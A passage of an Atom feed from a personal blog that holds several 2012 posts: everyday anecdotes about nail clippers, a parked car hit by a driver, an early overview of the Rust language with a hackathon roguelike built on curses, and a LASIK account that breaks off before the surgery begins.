    <content type="html"><![CDATA[<p>Today I went to the drug store.  I bought nail clippers, a nail file, and a nail buffer.  All existing nail clippers in this house have been transmuted into cat toys and subsequently batted into the void where lost cat toys go.</p>

<p>The cashier asked, with a knowing smile, “For your wife?”</p>

<p>Well, naturally, because dudes don’t have fingernails.  That’s why guys have all the jobs where fingernails would be a hindrance or hazard, like programming or rock-climbing or making more money.</p>

<p>I told him “no, for me” with a sigh, and only later realized that he’d think I was sighing at myself rather than him.  Whoops.</p>

<hr />

<p>I twatted something similar last night, while looking on Amazon for lounge pants (which, let’s be honest, are just pajamas).  The same category tree exists for both men and women, yet there is quite an obvious difference between <a href="http://www.amazon.com/s/ref=sr_nr_n_1?rh=n%3A1036592%2Cn%3A!1036682%2Cn%3A1040658%2Cn%3A3455861%2Cn%3A14292101&amp;bbn=3455861&amp;ie=UTF8&amp;qid=1355117417&amp;rnid=3455861">men’s loungewear</a> and <a href="http://www.amazon.com/s/ref=sr_nr_n_1?rh=n%3A1036592%2Cn%3A!1036682%2Cn%3A1040660%2Cn%3A2376202011%2Cn%3A1044896&amp;bbn=2376202011&amp;ie=UTF8&amp;qid=1355117408&amp;rnid=2376202011">women’s loungewear</a>.  Or even, hell, <a href="http://www.amazon.com/s/ref=lp_1040658_nr_n_9?rh=n%3A1036592%2Cn%3A!1036682%2Cn%3A1040658%2Cn%3A1045708&amp;bbn=1040658&amp;ie=UTF8&amp;qid=1355203021&amp;rnid=1040658">men’s socks</a> and <a href="http://www.amazon.com/s/ref=lp_1040660_nr_n_15?rh=n%3A1036592%2Cn%3A!1036682%2Cn%3A1040660%2Cn%3A1044886&amp;bbn=1040660&amp;ie=UTF8&amp;qid=1355203018&amp;rnid=1040660">women’s socks</a>.</p>

<p>I just want neat abstract patterns in nice colors.  Instead, I get:</p>

<ul>
  <li>Solid dark blue, solid black, solid dark black</li>
  <li>Plaid, usually prominently featuring the above colors</li>
  <li>Bad tessellation of a beer logo</li>
  <li>Stock artwork of Stewie Griffin saying something from a Family Guy episode that first aired in 1999</li>
</ul>

<p>Y chromosomes must self-destruct in the presence of saturation, or something.</p>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Crash!]]></title>
    <link href="http://me.veekun.com/blog/2012/12/06/crash/"/>
    <updated>2012-12-06T21:04:00-08:00</updated>
    <id>http://me.veekun.com/blog/2012/12/06/crash</id>
    <content type="html"><![CDATA[<div class="prose-illustration">
<a href="http://me.veekun.com/media/2012-12/crash-distance.jpg" class="fancybox" title=""><img src="http://me.veekun.com/media/2012-12/crash-distance_m.jpg" alt="" /></a>
</div>

<p>So someone hit my car last week.</p>

<p>It was parked on the curb, right in front of my house. (We have four cars and a packed garage, so.)  I heard a super loud <em>smack</em>, but thought someone had dropped a large appliance on the sidewalk until Mel appeared in my doorway with <em>someone hit your car</em>.</p>

<p>Outside I scurried in pajamas and slippers (working from home is awesome) and I beheld the scene you see inset.  The driver was very apologetic, and luckily unharmed.  She’d been fiddling with something on her dashboard and wasn’t even looking at the road, so she hit my car at full speed.  The photo is framed as it is because my car had been parked with its rear wheel <em>on that grate</em>, and with the parking brake on.  That’s how far she knocked it.  (Speed limit on this street is 25, by the way.)</p>

<p>I felt kinda bad for her, but at the same time, that this even happened is <em>terrifying</em>.  I don’t know if a human being would have survived the same impact.  She said she’s “normally such a safe driver”—I guess she’s only a dangerous driver sometimes, then, and it turns out those are the times when you hit things.</p>

<p>Called 911; couple police cars came to direct traffic around her and file an accident report, and a flatbed tow truck took her car off.  I had to leave my car “parked” in front of a fire hydrant overnight, because the rear axle was bent so much that it doesn’t move at all.</p>

<p>My car was towed to a local shop the day after; they called me back earlier this week with an estimate around $7400.  The driver’s insurance is paying for absolutely everything without question, though, so I shouldn’t be out a dime over this.  I have a rental in the meantime.</p>

<p>This is actually the <em>second</em> time this has happened; early this year I was street-parked on the other side of the street, and I awoke to find a conspicuous dent in the driver’s side door.  And when I say “dent”, I mean it spanned the bottom of the door up to the window; looked like a shopping cart had hit it at an angle while going 40.  I’d only slept for a few hours the night before, and Mel had been awake through the night, but neither of us heard or saw anything.  Don’t know what happened or who did it.  I thought it would be a simple fix, but the shop had to replace the <em>entire door</em>, I had to pay a few hundred deductible, and my insurance went up.  Super.</p>

<p>I’ve never hit anything, never gotten a ticket, never even been pulled over.  I live in a fairly sleepy town, not on a major road.  And in two years my car has been hit <em>twice</em>, while <em>parked at home</em>.  I’m just gonna start parking on the lawn.</p>

<p>Here are some photos of my poor darling car.  Consider this a test of this <a href="http://tritarget.org/blog/2012/05/07/integrating-photos-into-octopress-using-fancybox-and-plugin/">fancybox plugin</a>.</p>

<!-- more -->

<ul class="gallery">
<li><a href="http://me.veekun.com/media/2012-12/crash-back.jpg" class="fancybox" rel="gallery-b2cefc985da802c53fb3a9ae14af181b" title=""><img src="http://me.veekun.com/media/2012-12/crash-back_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2012-12/crash-below.jpg" class="fancybox" rel="gallery-b2cefc985da802c53fb3a9ae14af181b" title=""><img src="http://me.veekun.com/media/2012-12/crash-below_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2012-12/crash-corner.jpg" class="fancybox" rel="gallery-b2cefc985da802c53fb3a9ae14af181b" title=""><img src="http://me.veekun.com/media/2012-12/crash-corner_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2012-12/crash-side.jpg" class="fancybox" rel="gallery-b2cefc985da802c53fb3a9ae14af181b" title=""><img src="http://me.veekun.com/media/2012-12/crash-side_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2012-12/crash-other-corner.jpg" class="fancybox" rel="gallery-b2cefc985da802c53fb3a9ae14af181b" title=""><img src="http://me.veekun.com/media/2012-12/crash-other-corner_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2012-12/crash-other-front.jpg" class="fancybox" rel="gallery-b2cefc985da802c53fb3a9ae14af181b" title=""><img src="http://me.veekun.com/media/2012-12/crash-other-front_m.jpg" alt="" /></a></li>
</ul>

<p>By the way: she was elderly, and had a handicap permit hanging from her rear-view mirror.  Were you envisioning a young adult or middle-aged woman?  How does the story change, now?  I don’t know.</p>

<p>One of the last things she said to me was “I shouldn’t be driving”.  Hm.</p>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[A little bit Rusty]]></title>
    <link href="http://me.veekun.com/blog/2012/11/17/a-little-bit-rusty/"/>
    <updated>2012-11-17T23:57:00-08:00</updated>
    <id>http://me.veekun.com/blog/2012/11/17/a-little-bit-rusty</id>
    <content type="html"><![CDATA[<p><a href="http://www.yelp.com/">Yelp</a> had a hackathon a couple weeks ago.  These affairs are mixed blessings for me: a fixed chunk of uninterrupted time to work on a single project is <em>great</em>, but I tend to have at least a dozen ideas that I want to do all at once, none of which can be reasonably “finished” in a scant 30 hours, and most of which are obscure enough that nobody can work on them with me.</p>

<p>For example, during this most recent event, I wrote a roguelike.  In <a href="http://www.rust-lang.org/">Rust</a>.</p>

<p>Long-time readers may recall that I’ve <a href="https://github.com/eevee/raidne">attempted to write a roguelike before</a>, in Python, but fell prey to architecture astronomy.  <em>This</em> time would be different!  Because I would only have 30 hours.  Also because static typing limits my options, thus making it easier to overcome choice paralysis.  (It’s a working theory.)</p>

<p>But first: a bunch of people have asked what I think of Rust, and now I’ve actually written something approaching a real program in it, so let’s start there.</p>

<!-- more -->

<h2 id="on-rust">On Rust</h2>

<p>The best way I’ve found to describe Rust is: C, if it were invented today, by a guy who only knows Haskell.  It’s aimed at systems programming and translates to machine code about as intuitively as C, but it’s memory-safe, type-safe, and built on closures and pattern matching.  It makes a lot of C tricks first-class, it’s binary-compatible with C, and it tries hard to avoid all the pitfalls of C.</p>

<p>I’m trying very hard not to make this a full-blown tutorial (you can read the <a href="http://dl.rust-lang.org/doc/0.4/tutorial.html">actual Rust tutorial</a> if you’d like), but rather a quick overview of why I’m drawn to this language.</p>

<h3 id="memory-safety">Memory-safety</h3>

<p>You cannot dereference a null pointer, free memory twice, or leak memory in Rust.</p>

<p>Rust has two primary pointer types.  “Boxed” pointers look like <code>@T</code> and are garbage-collected.  This is baby mode, but it frees you from ever caring about memory management at all.  Unique pointers look like <code>~T</code> and, as the name suggests, <em>cannot be copied</em>.</p>

<p>There is no explicit allocation or deallocation.  If you want some memory, you directly create a struct or vector or whatever, and that memory will be freed as appropriate for that pointer type.  Boxed pointers go away when no longer referenced; unique pointers go away when they go out of scope.  And there’s no pointer arithmetic, so you can’t cheat the system.</p>

<p>Rust also has “borrowed” pointers, which look like <code>&amp;T</code> and mostly appear in function signatures.  If an argument expects a borrowed pointer, any pointer type can be passed in, and Rust will quietly convert it.  Borrowing is also the easiest way to pass a unique pointer into a function (as that would otherwise perform a copy): the program will only compile if Rust can prove that the original pointer stays untouched until the function returns.</p>

<p>(By the way, I’m lying.  This is a systems language, after all; you can create null pointers, you can leak memory, you can do pointer math until the cows come home.  But you have to actively try, via functions tucked away in the core library, and you have to wrap it all in an <code>unsafe</code> block—which has no semantics other than “when my program segfaults, this is why”.  Also, there’s a fourth pointer type <code>*T</code> which indicates a C pointer, and naturally that can be a source of problems, but you generally only see those when wrapping a C library.)</p>

<h3 id="type-safety">Type-safety</h3>

<p>Rust has very strong typing.  Even built-in numeric types have to be explicitly cast back and forth.  Pointers and structures can only be cast “upwards” to classes, never downwards or sideways.</p>

<p>(Again, I’m lying.  You can cast whatever you want to whatever you want, if you use an <code>unsafe</code> function in the stdlib.  But the core syntax doesn’t allow it.)</p>

<h3 id="inference-and-generics">Inference and generics</h3>

<p>Outside of function signatures and struct definitions, you rarely need to give an explicit type to Rust.  It’ll usually figure out what you mean.</p>

<p>Unadorned integers are also type-inferred: if you pass a <code>4</code> to a function expecting a certain numeric type, Rust will infer that type for the <code>4</code>.  This even works for assigning constant numbers to variables without giving an explicit type, though of course your program won’t compile if you try to pass that variable to functions expecting different types.</p>

<p>Generics have a syntax I can actually understand.  Also, you don’t need to put all your generic code in header files and recompile it every time; as I understand it, a Rust library contains the AST for each generic function it exposes, so compiling a new variant is quick and easy.</p>

<p>Type inference also applies to generics, including their return values.  You very, very rarely have to qualify a generic after defining it.</p>

<h3 id="functional-features">Functional features</h3>

<p>Rust has closures.  I don’t know how they made this work with a systems language; virgin sacrifices may be involved.  The syntax is a bit like Ruby blocks, and in fact there are two built-in structures for passing a closure like a Ruby block.</p>

<p><code>do</code> is syntactic sugar for passing a closure as the last argument to a function:</p>

<pre><code>do foo(a, b, c) |arg| {
    // ...
}
</code></pre>

<p><code>for</code> is similar, but allows the closure to return <code>True</code> or <code>False</code> to indicate whether iteration should continue.</p>

<p>So a foreach-style iteration is easy.</p>

<pre><code>for [1, 2, 3].each |n| {
    io::println(fmt!("%d", n));
}
</code></pre>

<p>Hey, that looks like a method.  So, there are methods.</p>

<h3 id="classes">Classes</h3>

<p>Let me back up here a bit.  When I wrote the PHP article, I picked on the existence of a <code>private</code> keyword; I prefer the Perl and Python approach of indicating non-public API with a leading underscore, so that third parties using the code can dig into the internals if absolutely necessary.</p>

<p>But then, there’s another problem besides method hiding that <code>private</code> clumsily tries to solve.  In most OO systems, method and attribute names are separated horizontally—that is, class A and class B can both have a method <code>foo</code> with no risk of collision.  But there’s no vertical separation: if a class C inherits from both A and B, and their <code>foo</code> methods aren’t intended to do the same thing, C will have a sticky mess on its hands.</p>

<p>Interfaces make this problem far worse, because <em>any</em> interface may expect to be applied to <em>any</em> class, and so the methods it requires can be considered as reserved, globally, throughout the <em>entire language</em>, forever.  Core Python sneaks around this problem by only defining “interfaces” in the form <code>__foo__</code>, and declaring that all such names are reserved for future use.  Third-party code is not so lucky.</p>

<p>Ironically enough, interfaces are dragging OO back to the bad old days of C, where every name is global and you have to use some kind of name munging to avoid possibly conflicting with whatever other libraries a program might link against.  Curses defines a function called <code>erase</code>?  No library, anywhere, ever again, can ever use that name now.  <code>Serializable</code> requires a method called <code>readObject</code>?  Same thing: no library, anywhere, ever again, can ever use that method name.</p>

<p>It struck me that what we really need instead of <code>private</code> (which, of course, doesn’t help the interface problem at all) is <em>scoping for method names</em>.  Python modules, for example, are all distinct namespaces, but they can be assigned to any name (because they are first-class) and items from one namespace can be imported into another easily.  Why can’t we have this kind of behavior for methods?  Instead of <code>__get__</code>, let me define a method on my class called <code>core:get</code>.  Then I can also have my own <code>get</code>, and maybe some third-party framework will have a <code>sprocket:get</code>, and so forth.  And the namespace names, just like class and module names, are themselves just incidental rather than shared globally.</p>

<p>I didn’t follow this train of thought far enough to figure out how calling works and when it’s okay to omit the namespace, but it sounded reasonable enough so far.</p>

<p>Anyway, it turns out that (a) Haskell already had a way better version of this same idea and called it a <a href="http://en.wikipedia.org/wiki/Type_class">type class</a>, and (b) Rust already had them implemented by the time I explained all this to a Rust dev I know.</p>

<p>So that’s cool.  Here’s how “classes” work in Rust.</p>

<p>Objects, fundamentally, are nothing more than <em>state</em> and <em>behavior</em>.  (I don’t care what your CS prof says.  Information hiding and inheritance and whatever else are not fundamental features of OO.)</p>

<p>In Rust, the state and behavior are separate.  Here’s some state:</p>

<pre><code>struct Car {
    num_wheels: uint,
    gas: float,
}
</code></pre>

<p>Creating a car object is easy:</p>

<pre><code>let car = Car { num_wheels: 4, gas: 9.0 };
</code></pre>

<p>(This creates the entire struct on the stack.  You could also say <code>@Car...</code> for a boxed pointer, and so on.  Method and attribute access works the same way on structs and pointers to structs.)</p>

<p>To give it some behavior, you can create a <em>trait</em>, which is like an “interface” if you must, except the method names are <em>scoped to the trait</em>.  The actual implementation is separate from both the struct and trait definitions.</p>

<pre><code>trait Vehicle {
    fn drive();
}

impl Car: Vehicle {
    fn drive(self) {
        if self.gas == 0.0 {
            io::println("out of gas!");
        }
        else {
            io::println("vroom vroom");
        }
    }
}
</code></pre>

<p>Now you can call <code>car.drive()</code>.  If there are two traits in scope that both define a <code>drive</code> method, this will fail to compile, and you’ll have to explicitly state which one you meant.  (There is, ahem, not yet syntax for actually doing this, but the idea is sound and all.)</p>

<p>For functionality unique to the class, you can create an anonymous trait, which is really just an implicit trait with the same name as the class.</p>

<pre><code>impl Car {
    fn retract_sunroof() {
        // I can't think of many operations that only apply to cars
    }
}
</code></pre>

<p>Any type can be given an implementation for any trait.  (ANY type.  Structs, enums, scalar builtins, whatever.)  So I can write a serializer, define a trait for types that can be serialized, and write implementations for the builtin types and my own classes and classes from whatever other libraries I want.  No need to befriend anyone, monkeypatch anything, overload functions, or mess with your namespace.</p>

<p>This isn’t to say that Rust has no notion of visibility; in fact, everything in a module is private by default unless explicitly marked <code>pub</code>.  (Struct <em>fields</em> are public, though.)  But classes aren’t particularly special in this regard, and in fact any code in the same module as an <code>impl</code> can call any of its methods, private or not.</p>

<h3 id="enums">Enums</h3>

<p>There are C-style enums, which result in a bunch of constants with increasing integer values.  But that’s boring.</p>

<p>The other kind of enum is like a tagged union.  Here’s an enum from the standard library:</p>

<pre><code>enum Option&lt;T&gt; {
    None,
    Some(T),
}
</code></pre>

<p>This means: you can have a variable of type <code>Option&lt;T&gt;</code> and you know that it is <em>either</em> tagged as <code>None</code> with no data associated with it, or tagged as <code>Some</code> with a variable of type <code>T</code> associated with it.  It’s like Haskell’s <code>Maybe</code>, except nobody is saying “monad” here.</p>

<p>So this is how Rust handles optional values.  To get at that stored data, you need to do a match:</p>

<pre><code>let maybedata = Some(123);
match maybedata {
    Some(data)  =&gt; io::print(fmt!("found %d\n", data)),
    None        =&gt; io::print("found nothing!\n"),
}
</code></pre>

<p>A particularly neat part here is that a <code>match</code> block requires, at compile time, that the match be <em>exhaustive</em>.  If I’d left off the <code>None</code> branch here, the block would be invalid.</p>

<h3 id="c-pitfalls-rust-avoids">C pitfalls Rust avoids</h3>

<p>Everything is immutable by default.  If you want to be able to change a value, you have to ask for it.</p>

<p>Vector indexing is always bounds-checked.</p>

<p>There are no header files.  A compiled library knows, in Rust terms, what it exposes.</p>

<p>Macros (which exist, btw) operate on the AST rather than being dumb text replacements.</p>

<p>Everything is namespaced, Python-style.  You can import a module and qualify everything in it, import a handful of particular items from a module, and rename anything you import to avoid name clashes.</p>

<h2 id="on-clio">On clio</h2>

<p>Back to that program I wrote.  <a href="https://github.com/eevee/clio">clio</a> is the name of my Rust roguelike attempt; “Raidne” was the <a href="http://www.mythicalcreatureslist.com/mythical-creature/Raidne">Siren associated with improvement</a> (who knew that Sirens had themes!), and “Clio” was the Muse associated with history and symbolized by scrolls.  That seemed appropriate for a game I expect to be heavily inspired by NetHack.</p>

<p>This was a particularly terrible endeavor not just because I was using an obscure language, but because it has no curses bindings.  So step 1 was to invent the universe.  I’d been dabbling with that on and off leading up to the hackathon.  I called the library <a href="https://github.com/eevee/amulet">amulet</a>, because it’s a Rust-y thing meant to save you from curses.  Ha HA!</p>

<h3 id="things-i-learned-about-curses">Things I learned about curses</h3>

<p>It is terrible.  So, so terrible.</p>

<p>It defines like a hundred functions.  Half of them are shortcuts that don’t take an invocant and operate on a global window object.  Half of them are shortcuts that move the cursor before operating.  These halves overlap, so a quarter of them are both.  Also, a vast number of these are actually macros.</p>

<p>I wanted to use Unicode characters, and this required using a special build of the library which defines even more variants of every function.  On the plus side, this meant that characters were passed around as structures rather than as ASCII codepoints binary-ORed with flags for appearance (e.g. bold, underlined, etc.).</p>

<p>Okay, well, none of this is really world-ending yet.  I wrapped bits and pieces of the library, used some example programs as inspiration, tried to mold it into something that felt native to Rust.</p>

<p>Then I tried to use colors.</p>

<p>You see, curses doesn’t let you use colors directly; you must define “color pairs” and attach them to arbitrary numbers up to a limit that may vary by build or system.  Then you style a character by, again, binary-ORing a shifted pair number with the appropriate character.  Also, it’s impossible to set only the foreground or background, since everything works via <em>pairs</em>, and so there are some hacks to make this work by defining color <code>-1</code> as the “default”.</p>

<p>My impression is that this is genuinely how color settings on terminals used to work; there are, in fact, termcap entries for defining color pairs and switching to a given pair.  (There are also termcap entries for <em>redefining colors</em>, to any arbitrary RGB tuple, and they <em>work</em>!  I’ve yet to see a program do this, though—possibly because it’s terminal-wide and would screw up a multiplexer.  Still, there’s no reason a multiplexer couldn’t intervene and compensate…)</p>

<p>After some dicking around with this, I also discovered that Arch’s ncurses library is not built with 256-color support.  Fantastic.  I don’t really understand how this makes any sense at all, since I’m currently typing in a vim inside tmux, and both are using 256-color themes just fine.</p>

<p>I started to notice that I was doing a lot more work translating curses’s API into something not designed in 1970 than curses was probably doing by itself, so towards the end I veered in the direction of dropping curses entirely and just working with terminal capabilities directly.  (Given that vim and tmux are doing 256-colors despite no curses support, I assume they did the same.)</p>

<p>This is when I made a shocking discovery that has somehow eluded me all these years: <em>termcap and terminfo are part of curses</em>.  The specification, the files, the C interface for reading the files, even the <code>reset</code> program: it’s all part of ncurses.</p>

<p>But this part of the story ends kind of abruptly, since I was trying to actually build something rather than just write a library.  I got color working well enough, I got Unicode working, and I dropped amulet for the time being.  (But I do intend to use caps in the future, rather than contorting to fit the “high-level” curses API.)</p>

<h3 id="things-i-learned-about-rust">Things I learned about Rust</h3>

<p>I’d actually been excited about Rust because I thought it would let me build componentized entities much more easily, what with the ability to implement any trait on any type.</p>

<p>It didn’t occur to me until I’d sat down that this doesn’t really fit how component-entity works.  I’d need to be able to implement a trait on a particular <em>instance</em>, which doesn’t make a lot of sense in a static language.</p>

<p>Well, still.  Off I went, hoping to avoid the pitfalls of round 1.</p>

<p>I don’t know how much of this will make sense without some deeper familiarity with the language; again, if you’re interested, the <a href="http://dl.rust-lang.org/doc/0.4/tutorial.html">Rust tutorial</a> is a good read.</p>

<h4 id="perils-of-borrowing">Perils of borrowing</h4>

<p>I started out the evening before the hackathon, and got as far as a symbol that could walk around an enclosed area.  The first morning of hackathon proper, I kind of got stuck.</p>

<p>See, in Python-y style, I wanted to write a method for maps that would let me iterate over the entire grid with one loop.  Something like this:</p>

<pre><code>for map.each_cell |x, y, cell| {
    // draw something, probably
}
</code></pre>

<p>Alas, no amount of contortion made this work.  Rust complained, every time, that I was borrowing a pointer to “mutable, aliasable” memory.  The problem was that the implementation looked like this:</p>

<pre><code>fn each_cell(cb: &amp;fn(x: uint, y: uint, cell: &amp;Cell) -&gt; bool) {
    for self.grid.eachi |x, col| {
        for col.eachi |y, cell| {
            cb(x, y, cell)
        }
    }
}
</code></pre>

<p>Rust objected to borrowing <code>cell</code>.  After much head-scratching and talking to <a href="irc://irc.mozilla.org/rust">#rust</a>, I had an explanation.</p>

<p>At the time, I was using unique pointers for the map and grid and cells and basically everything, because it didn’t seem like I had any reason to be duplicating pointers.  In the code above, <code>cell</code> is an element of a mutable vector, <code>self.grid</code>.  The issue, as I understand it, is that the caller also has a reference to <code>self</code>, and Rust cannot be absolutely certain that other code won’t overwrite <code>self.grid[x][y]</code> <em>inside</em> <code>cb</code>.  If that happened, the cell (which is a unique pointer!) would be freed, and the variable <code>cell</code> would point to free memory.</p>

<p>This is an unfortunate state of affairs, and I’ve run into it several times now when trying to write convenience iterators for a mutable grid of data.  #rust proposed that the basic <code>each</code> methods should pass copies to the callback instead of borrowing, which is unfortunate in its own way.  I don’t see a particularly clean way to resolve this problem yet.  (I ended up just using nested loops.)</p>

<h4 id="borrowing-constants">Borrowing constants</h4>

<p>Rust supports top-level constants, which get written statically into the library.  It seemed reasonable for me to use constant structures to hold entity definitions, e.g., the floor should display as a dark gray “<code>·</code>” and be passable.</p>

<p>This was surprisingly awkward.</p>

<ol>
  <li>
    <p>First, curses.  I’d rigged amulet to pretend color pairs don’t exist and instead generate them as necessary for each unique pair of foreground+background it ran across.  This worked fine in simple tests, but when I added colors to my entity prototypes, they didn’t work at all.</p>

    <p>Long story short: I was defining the color pairs <em>before</em> initializing curses, and curses clears out all its color pairs on initialization.  Super.</p>
  </li>
  <li>
    <p>You can’t define constants as pointers; the values don’t have addresses at compile time!  So my plan was to define plain structs, then store a pointer to one of them in each entity.  The only appropriate pointer type was the borrowed pointer, which is the type you get when you use the address-of operator, <code>&amp;</code>.  This all appeared to work, until an hour or two later when I wrote some code in a completely unrelated place and got a stack explosion.</p>

    <p>Long story short, again: this didn’t quite make sense.  I was borrowing a pointer, then storing it in a struct and returning it to somewhere.  It was a pointer to static memory, but once I’d returned the struct, Rust had no way of knowing that, and the wrong combination of operations made it extremely confused about when that pointer was meant to expire.</p>

    <p>The solution was to use a type of <code>&amp;static/Prototype</code> instead of merely <code>&amp;Prototype</code>.  The <code>static/</code> part defines a <em>lifetime</em>, something the compiler usually infers to help enforce that borrowed pointers don’t outlive the original data.  <code>static</code> is the only builtin lifetime name, and it refers to any static data, i.e. constants.  This convinced Rust that I could safely borrow the original prototypes for as long as I wanted, and all was well.</p>

    <p>The lesson here is that storing <code>&amp;T</code> in another structure for any length of time probably doesn’t make any sense.  But <code>&amp;static/T</code> is always kosher.</p>
  </li>
</ol>

<h4 id="minor-gripes">Minor gripes</h4>

<p>While I appreciate having to be explicit about type conversions, it has its downsides as well.  Converting a 32-bit integer to a 16-bit integer clearly carries some risk of overflow, so having the conversion explicitly marked with <code>as i16</code> is helpful.  But converting an 8-bit integer to a 16-bit integer is absolutely harmless, and the <code>as i16</code> becomes noise that’s difficult to discern at a glance from genuine problem areas.  I ran into similar problems trying to define a <code>Point</code> struct with only unsigned integers; I couldn’t subtract without hellacious constructions like <code>(x as int - 1) as uint</code>.</p>

<p>You can’t “convert” <code>~T</code> to <code>@T</code> at runtime or vice versa.  The two are stored in completely different memory pools.</p>

<p>Rust doesn’t have very good stdlib support for boxed vectors yet.  Most functions expect and return <code>~[]</code>, and most vector methods are defined on <code>~[]</code>.  (The stdlib is still clearly a work in progress overall; there’s a lot of cruft from Rust’s early days as a fairly different language, and a lot of clear omissions when compared to e.g. Ruby, Python, Java.)</p>

<h3 id="final-product">Final product</h3>

<p>There are two rooms, connected by a hallway.  You can walk between them, beat up a guy, and pick up a scroll which shows in your inventory but which you cannot use and which does nothing.  Also, you can die.</p>

<p>Here’s the general approach I took.  The entry point looks like this:</p>

<pre><code>world.run(interface);
</code></pre>

<p>The game world runs its own main loop, and communicates to the display via an “interface”, which is a trait that currently only has one implementation.  (For terminals.  Obviously.)</p>

<p>At the start of each turn, the world loops over every thinking actor on the map and offers it the chance to act.  (It’s actually a little more complex, as there’s a concept of how long actions take.  It works kinda like NetHack, though I think I had the same idea semi-independently.)  In the case of the player, this calls an interface method that asks for the next action to take, which in the terminal case blocks on keyboard input.  In the case of a monster, some pretty dumb AI generates an action.</p>

<p>An “action” is an object implementing the <code>Action</code> trait, which is generally executed immediately by the game world.  (Having the world execute the action rather than the actor makes my life a little easier: if the actor dies partway through, for example, cleaning it up is simpler.  And of course I’d rather <em>not</em> have the game state advance while the UI object has control.)</p>

<p>Alas, I didn’t get far enough to actually try building a component system, and in fact the player and AI thinking are crammed into the same function.  But I’m moderately happy with what I have so far.</p>

<h2 id="so">So</h2>

<p>So.</p>

<p>Rust is neat.  I enjoy using it, minor toe-stubs aside.  The developers are active, clever, responsive, and helpful.  And they pass the ultimate litmus test for a new language, in that they have been <em>removing</em> features more than they’ve been adding new ones lately.  :)</p>

<p>I also like how the game came out, as simple as it is.  It’s a side project among side projects for me, so I don’t know how much attention it’ll get in the future, but I think I have some neat ideas for a roguelike and I’d like to see it develop into something mature and enjoyable.  Maybe I’ll go into it in another post.</p>

<p>If you want to play clio, you’ll have to compile amulet, then compile clio using <code>rustc clio.rc -L /path/to/amulet.git/amulet/</code>.  But you’re really, really not missing a lot.</p>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Lasik]]></title>
    <link href="http://me.veekun.com/blog/2012/10/21/lasik/"/>
    <updated>2012-10-21T16:02:00-07:00</updated>
    <id>http://me.veekun.com/blog/2012/10/21/lasik</id>
    <content type="html"><![CDATA[<p>This is a thing I got yesterday.  Not 24 hours ago, even.</p>

<p>Mel had it done last December and started dropping hints that I should also get it done pretty much that day.  I stalled and dawdled forever, but I’ve been experiencing a lot of eye strain lately and was due for an eye exam anyway, so I finally made an appointment for Wednesday.</p>

<p>Not that Mel was continually bugging me to do it or anything, but when faced with the prospect of doing something terrifying, spinning it to myself as something someone <em>else</em> wants doing is a convenient brain hack.</p>

<p>Yes, terrifying.  You see, I don’t like things i my eyes.  I don’t like <em>water</em> in my eyes.  I had never opened my eyes underwater until a couple months ago, and it still feels like a superpower to me.  If I get an eyelash in my eye, I have to find a mirror and manually guide it out because it bugs me so much.  And now I was facing a medical procedure that involved shining a <em>laser</em> into my eyes.  A laser!  You know where you’re supposed to shine a laser?  <em>Anywhere except into your eyes.</em></p>

<p>Everyone at the clinic told me reassuring things, like that it’s a cold laser, or it doesn’t hurt, or it’s over pretty fast, or whatever.  No, no, you don’t understand.  It’s not that I don’t like things in my eyes <em>because</em> some rational underlying fear.  I just don’t like things in my eyes, the same way I don’t like sharp things under my fingernails, or I don’t like spiders.  I don’t like it.  It’s creepy and I want to run away from whatever it causing it.</p>

<p>Okay, this story seems to have gotten a little off-track.  Let’s rewind.</p>

<!-- more -->

<h2 id="exam">Exam</h2>

<p>The exam was more thorough than any I’d had before and relied relatively little on charts—which was reassuring.  It mostly involved a variety of chin-and-headrest eye scope machines that, I guess, measured stuff.  The coolest one showed a very blurry graphic of a hot-air balloon sitting on the ground against a plain background: the machine made machiney “I am worth every penny” noises ending with a decisive clunk, and the graphic instantly became crisp.  It was just like digital camera autofocus, except backwards.  I have no idea how it worked but I hope it actually measured the image reflected on my eye or something.</p>

<p>I discovered my dominant eye is my left.  I don’t know if this has any real implications, but it’s interesting nonetheless.  I’d forgotten that eye dominance was even a thing.</p>

<p>The worst part by far was a moisture test, because this involved getting some numbing eyedrops (ugh) and then having little paper things left resting against my eye under my eyelid (UGH).</p>

<p>I’d been under the impression that my eyes were worsening gradually, because my second pair of glasses had been stronger than my first, and lately I’d felt like my eyes were starting to get tired more easily and thus that I needed stronger glasses again.  So my primary concern about getting lasik was that I’d just need to go back to glasses after a couple years, in which case, what the hell was the point.  But it seems my prescription now is exactly the same as my glasses, and the doctor conjectured that my eyes hadn’t actually worsened, but that the two prescriptions had been written differently because I went to two different doctors.  Okay, I can buy that, cool.</p>

<p>My new theory is that I just naturally get eye strain because both eyes have different astigmatism (are different astigmatists?), and glasses can’t correct for that very easily, so everything always looks slightly distorted and I’m continuously trying to refocus.  Or not.  I don’t know, I pulled that out of my ass and neglected to actually ask anyone whether it’s remotely plausible.</p>

<p>I was told I am an excellent candidate and have really thick corneas (<em>ladies</em>), and was given a calendar for scheduling.</p>

<p>I’m out of town the last week of October, and when Mel had it done they were booked pretty solid, so I expected to be able to put this off until at least mid-November.  I looked at the calendar, checked the date, looked at the calendar again.  Friday and Saturday of that same week were available.  And I couldn’t do it any later than Saturday since I’d be on a plane days later.</p>

<p>I booked Saturday and reflected on this plot twist, in which I had been tricked out of a month of expected mulling and into directly agreeing instead, like I’m an adult or something.</p>

<h2 id="eye-lasers">Eye lasers</h2>

<p>The sense of mild panic started the night before and grew gradually through Saturday morning.</p>

<p>I got there, signed some things, paid them, discovered my debit card won’t let me charge more than $2500 or so at a time.</p>

<p>I had to put on a hairnet and some shoe covers to enter the Laser Room.  They had a last look in my eyes and told me how this would go.  I was already more or less familiar with the process—the laser room had huge windows along one side with a waiting room beyond, so your loved ones can watch your eyes get sliced open.  Mel was watching me, as I had watched her last year.</p>

<p>First was several rounds of, of course, eyedrops.  Also the doctor straight-up marked my eyeball with what smelled distinctly like a Sharpie™ to mark the angle of my astigmatisms.  Then I lay down on a bed, holding a pair of heart-shaped stress balls they’d given me.</p>

